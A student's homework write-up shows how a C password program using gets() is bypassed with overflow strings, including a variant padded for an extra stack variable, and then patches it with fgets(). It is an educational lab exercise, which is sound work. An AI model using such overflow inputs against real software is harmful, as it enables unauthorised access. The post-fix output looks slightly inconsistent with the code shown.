Solution to Buffer Oveflow Task

Steps

1. run the program using the gcc command then enter a normal password ‘password’

```
homework-6$ ./a.out
c552a074
c552a07e
Please enter the password:
password

Wrong password!
pass
password
```

2. We can see the contents of the two buffers ‘pass’ and ‘password’ we just entered so we know it has a problem.
3. Looking at the code, we notice that the buffer accepts only 10 characters

```
char secret[10];
// char version[3] = "1.0";
char password[10];

memset(secret, 0, 10);

printf("%x\n", &secret);
printf("%x\n", &password);
```

4. Now lets try overflow the buffer that is, inserting more than 10 characters and we successfully exploit the buffer overflow.

```
homework-6$ ./a.out
c35f4ad6
c35f4acc
Please enter the password:
12345678901234567890

Correct password!
1234567890
12345678901234567890
```

5. Trying same thing with the other version of the code, that is, uncommenting “char version[3] = "1.0";”

```
char secret[10];
//char version[3] = "1.0";
char password[10];
```

6. Same payload will not work because we have a padding of 3 characters now between secret and password. So we must put this into consideration when coming up with a payload.
7. So adding an arbitrary 3 characters to the payloads does the magic.

```
homework-6$ ./a.out
70a68126
70a68119
Please enter the password:
1234567890aaa1234567890

Correct password!
1234567890
1234567890aaa1234567890
```

8. Solved.
9. Fix: A possible is using fgets instead of gets then explicitly declaring the length of the expected input and also since we are accepting input from users, add stdin.

```
fgets(password, 10, stdin);
```

10. Now let's make sure our mitigation works

```
e5f01076
e5f0106c
Please enter the password:
1234567890aaa1234567890

Wrong password!
aaa1234567890
1234567890aaa1234567890
```